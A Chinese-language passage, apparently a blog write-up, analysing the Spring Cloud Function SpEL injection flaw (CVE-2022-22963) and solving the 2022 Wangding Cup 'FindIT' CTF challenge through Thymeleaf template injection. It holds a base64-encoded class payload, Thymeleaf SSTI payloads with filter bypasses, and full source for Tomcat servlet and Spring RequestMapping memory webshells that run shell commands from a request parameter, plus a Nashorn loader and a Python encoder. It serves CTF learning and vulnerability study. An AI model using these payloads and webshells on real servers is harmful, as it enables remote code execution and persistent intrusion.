xhYmxlOwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHALcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFmFic3RyYWN0SGFuZGxlck1hcHBpbmcBAEBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmc7AQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQATYWRhcHRlZEludGVyY2VwdG9ycwEAFUxqYXZhL3V0aWwvQXJyYXlMaXN0OwEAA2FhYQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAClNvdXJjZUZpbGUBABhJbmplY3RUb0ludGVyY2VwdG9yLmphdmEMADIAMwcAtAwAuAC5BwC1DAC6ALsBAAdvcy5uYW1lBwC8DAC9ALkMAL4AvwEAA3dpbgwAwADBAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAMgDCAQAJL2Jpbi9iYXNoAQACLWMMAMMAxAwAxQDGAQARamF2YS91dGlsL1NjYW5uZXIHALMMAMcAyAwAMgDJAQACXEEMAMoAywwAzADNDADOAL8BAAAHALIMAM8A0AwA0QAzDADSADMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABYAFkMAF4AXwcA0wwA1ADVAQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwDWDADXANgBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMANkA2gEAPm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nBwDbDADcAN0HAN4MAN8A4AwA4QDiAQATamF2YS91dGlsL0FycmF5TGlzdAEAE0luamVjdFRvSW50ZXJjZXB0b3IMAOMA5AEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBABFqYXZhL2xhbmcvUHJvY2VzcwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udG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'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))

漏洞分析

可以看到官方的补丁:https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52

那么我们就在org.springframework.cloud.function.context.config.RoutingFunction#route 这里下断点,获取到调用栈:

functionFromExpression:196, RoutingFunction (org.springframework.cloud.function.context.config)
route:126, RoutingFunction (org.springframework.cloud.function.context.config)
apply:85, RoutingFunction (org.springframework.cloud.function.context.config)
doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)
apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)
processRequest:108, FunctionWebRequestProcessingHelper (org.springframework.cloud.function.web.util)
post:108, FunctionController (org.springframework.cloud.function.web.mvc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1071, DispatcherServlet (org.springframework.web.servlet)
doService:964, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doPost:909, FrameworkServlet (org.springframework.web.servlet)
service:681, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

getHeaders获取spring.cloud.function.routing-expression头,然后跟进functionFromExpression

可以看到expression.getValue(),导致spel表达式注入

接着往上回溯看看,首先看到获取body中的参数,跟进processRequest

将请求的内容和Header头编译成Message带入到FunctionInvocationWrapper.apply方法中,随后又进入其中的doApply方法

doApply会判断当前请求是否为RoutingFunction,然后调用apply

看到进入route,并且传入headers头,整个利用链就闭合了

修复方案
官方的修复方法首先判断是否是从Header头中读取,为true的话就调用安全函数解析

使用SimpleEvaluationContext替换StandardEvaluationContext

参考:
SpringCloud Function SPEL漏洞分析
SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963)
Spring Cloud Function v3.x SpEL RCE

赛题复现

[2022网鼎杯 玄武组]FindIT

拿到源码,看到Thymeleaf,并且版本是3.0.12

看到/doc/{data}这个路由没有使用@ResponseBody 进行注解,因此即使没有return 情况下也是可注入的
在 3.0.12 版本进行了SSTI的修复:https://github.com/thymeleaf/thymeleaf/issues/809

  1. 不能让视图的名字和 path 一致
    可以使用//或者;/绕过
  2. 表达式中不能含有关键字new
  3. 在(的左边的字符不能是T
  4. 不能在T和(中间添加的字符使得原表达式出现问题
    可以使用%20(空格)、%0a(换行)、%09(制表符)等等进行绕过

参考:
Thymeleaf SSTI 分析以及最新版修复的 Bypass
最后的payload:

/doc//__${T (java.lang.Runtime).getRuntime().exec('calc')}__::.x
/doc;/__${T (java.lang.Runtime).getRuntime().exec('calc')}__::.x

下面就是难点了,环境不出网,需要写入内存马,又是get传参在url当中,发现 tomcat 会报400和404错误
404:payload 包含了/,tomcat 会认为这是一个路径关键字,会找对应的路由,找不到就会报404
400:payload 中包含[]等特殊字符

方法一

可以使用ScriptEngine执行代码,使用#request.getHeader()进行传参(注意将#进行url编码为%23)

__${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName("nashorn").eval(#request.getHeader('cmd'))}__::.x

可以看到成功执行命令,接下来写一个servlet内存马:

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class memshell extends HttpServlet {
    static {
        try {
//            Runtime.getRuntime().exec("calc");
            Servlet servlet = new memshell();
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext context = (StandardContext) webappClassLoaderBase.getResources().getContext();
            String name = memshell.class.getSimpleName();
            Wrapper wrapper = context.createWrapper();
            wrapper.setName(name);
            wrapper.setServlet(servlet);
            context.addChild(wrapper);
            context.addServletMappingDecoded("/shell", name);
        } catch (Exception e) {
        }
    }

    public memshell(){
    }
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            InputStream in = null;
            ProcessBuilder p;
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
            } else {
                p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
            }
            in = p.start().getInputStream();
            Scanner scanner = new Scanner(in).useDelimiter("\\A");
            String out = scanner.hasNext() ? scanner.next() : "";
            response.getWriter().write(out);
            response.getWriter().flush();
        }
    }
}

然后将加载字节码的SpEL payload 转成 ScriptEngine形式,即:

${T(org.springframework.cglib.core.ReflectUtils).defineClass('memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())}

转换为:

var base64 = "yv66vgAAADQAzAoALwBbCABFCwBcAF0IAF4KAF8AYAoACgBhCABiCgAKAGMHAGQHAGUIAGYIAGcKAAkAaAgAaQgAagoACQBrCgBsAG0HAG4KABIAbwgAcAoAEgBxCgASAHIKABIAcwgAdAsAdQB2CgB3AHgKAHcAeQoAegB7CAB8CgB6AH0HAH4KAB8AWwoAfwCACgB/AIEHAIIKACMAgwsAhACFBwCGCgCHAIgKACYAiQsAigCLCwCKAIwKACYAjQgAjgoAJgCPBwCQBwCRAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAApMbWVtc2hlbGw7AQAFZG9HZXQBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAdzY2FubmVyAQATTGphdmEvdXRpbC9TY2FubmVyOwEAA291dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANjbWQBAA1TdGFja01hcFRhYmxlBwBlBwCSBwBkBwBuAQAKRXhjZXB0aW9ucwcAkwcAlAEACDxjbGluaXQ+AQAHc2VydmxldAEAF0xqYXZheC9zZXJ2bGV0L1NlcnZsZXQ7AQAVd2ViYXBwQ2xhc3NMb2FkZXJCYXNlAQAyTG9yZy9hcGFjaGUvY2F0YWxpbmEvbG9hZGVyL1dlYmFwcENsYXNzTG9hZGVyQmFzZTsBAAdjb250ZXh0AQAqTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQ7AQAEbmFtZQEAB3dyYXBwZXIBAB1Mb3JnL2FwYWNoZS9jYXRhbGluYS9XcmFwcGVyOwcAkAEAClNvdXJjZUZpbGUBAA1tZW1zaGVsbC5qYXZhDAAwADEHAJUMAJYAlwEAB29zLm5hbWUHAJgMAJkAlwwAmgCbAQADd2luDACcAJ0BABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAwAJ4BAAcvYmluL3NoAQACLWMMAJ8AoAcAoQwAogCjAQARamF2YS91dGlsL1NjYW5uZXIMADAApAEAAlxBDAClAKYMAKcAqAwAqQCbAQAABwCqDACrAKwHAK0MAK4ArwwAsAAxBwCxDACyALMBAARjYWxjDAC0ALUBAAhtZW1zaGVsbAcAtgwAtwC4DAC5ALoBADBvcmcvYXBhY2hlL2NhdGFsaW5hL2xvYWRlci9XZWJhcHBDbGFzc0xvYWRlckJhc2UMALsAvAcAvQwAvgC/AQAob3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dAcAwAwAwQCbDADCAMMHAMQMAMUArwwAxgDHDADIAMkBAAYvc2hlbGwMAMoAywEAE2phdmEvbGFuZy9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMZ2V0UmVzb3VyY2VzAQAnKClMb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3Q7AQAjb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3QBAApnZXRDb250ZXh0AQAfKClMb3JnL2FwYWNoZS9jYXRhbGluYS9Db250ZXh0OwEAD2phdmEvbGFuZy9DbGFzcwEADWdldFNpbXBsZU5hbWUBAA1jcmVhdGVXcmFwcGVyAQAfKClMb3JnL2FwYWNoZS9jYXRhbGluYS9XcmFwcGVyOwEAG29yZy9hcGFjaGUvY2F0YWxpbmEvV3JhcHBlcgEAB3NldE5hbWUBAApzZXRTZXJ2bGV0AQAaKExqYXZheC9zZXJ2bGV0L1NlcnZsZXQ7KVYBAAhhZGRDaGlsZAEAIihMb3JnL2FwYWNoZS9jYXRhbGluYS9Db250YWluZXI7KVYBABhhZGRTZXJ2bGV0TWFwcGluZ0RlY29kZWQBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYAIQAfAC8AAAAAAAMAAQAwADEAAQAyAAAAMwABAAEAAAAFKrcAAbEAAAACADMAAAAKAAIAAAAeAAQAHwA0AAAADAABAAAABQA1ADYAAAAEADcAOAACADIAAAFmAAYACAAAAJwrEgK5AAMCAE4txgCRAToEEgS4AAW2AAYSB7YACJkAIbsACVkGvQAKWQMSC1NZBBIMU1kFLVO3AA06BacAHrsACVkGvQAKWQMSDlNZBBIPU1kFLVO3AA06BRkFtgAQtgAROgS7ABJZGQS3ABMSFLYAFToGGQa2ABaZAAsZBrYAF6cABRIYOgcsuQAZAQAZB7YAGiy5ABkBALYAG7EAAAADADMAAAAyAAwAAAAiAAkAIwANACQAEAAmACAAJwA+ACkAWQArAGMALABzAC0AhwAuAJIALwCbADEANAAAAFwACQA7AAMAOQA6AAUAEACLADsAPAAEAFkAQgA5ADoABQBzACgAPQA+AAYAhwAUAD8AQAAHAAAAnAA1ADYAAAAAAJwAQQBCAAEAAACcAEMARAACAAkAkwBFAEAAAwBGAAAAHgAF/QA+BwBHBwBI/AAaBwBJ/AApBwBKQQcAR/gAFQBLAAAABgACAEwATQAIAE4AMQABADIAAADvAAMABQAAAFa4ABwSHbYAHle7AB9ZtwAgS7gAIbYAIsAAI0wrtgAkuQAlAQDAACZNEh+2ACdOLLYAKDoEGQQtuQApAgAZBCq5ACoCACwZBLYAKywSLC22AC2nAARLsQABAAAAUQBUAC4AAwAzAAAANgANAAAAEAAJABEAEQASABsAEwAoABQALgAVADQAFgA8ABcARAAYAEoAGQBRABsAVAAaAFUAHAA0AAAANAAFABEAQABPAFAAAAAbADYAUQBSAAEAKAApAFMAVAACAC4AIwBVAEAAAwA0AB0AVgBXAAQARgAAAAkAAvcAVAcAWAAAAQBZAAAAAgBa";var bytecode = org.springframework.util.Base64Utils.decodeFromString(base64);var classloader = org.springframework.util.ClassUtils.getDefaultClassLoader();var memshell = org.springframework.cglib.core.ReflectUtils.defineClass("memshell",bytecode,classloader).newInstance();

最后传入即可

方法二

使用registerMapping 注册路径为"/*"的RequestMapping

我们只要把编写的恶意方法executeCommand注册进去就可以了
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);

最后师傅构造的内存马如下:

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class);
            registerMapping.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*");
            RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
            registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
            msg = "inject-success";
        } catch (Exception e) {
            e.printStackTrace();
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

接下来就是处理特殊字符,使用base64.urlsafe_b64encode进行base64编码,这样就不存在特殊字符了
然后使用org.springframework.util.Base64Utils.decodeFromUrlSafeString进行解码操作

import base64

fin = open(r"C:\Users\bmth\Desktop\作业\CTF学习\java学习\memshell\src\main\java\com\example\memshell\Memdemo\classloader\SpringRequestMappingMemshell.class","rb")
byte = fin.read()
fout = base64.urlsafe_b64encode(byte).decode("utf-8")
print(fout)

使用get传参,NeW大小写绕过检测,[]可以url编码为%5B%5D,或者直接使用java.net.URL("http","127.0.0.1","1.txt")进行替代
从SpEL上下文的bean当中获取RequestMappingHandlerMapping

最后的exp:

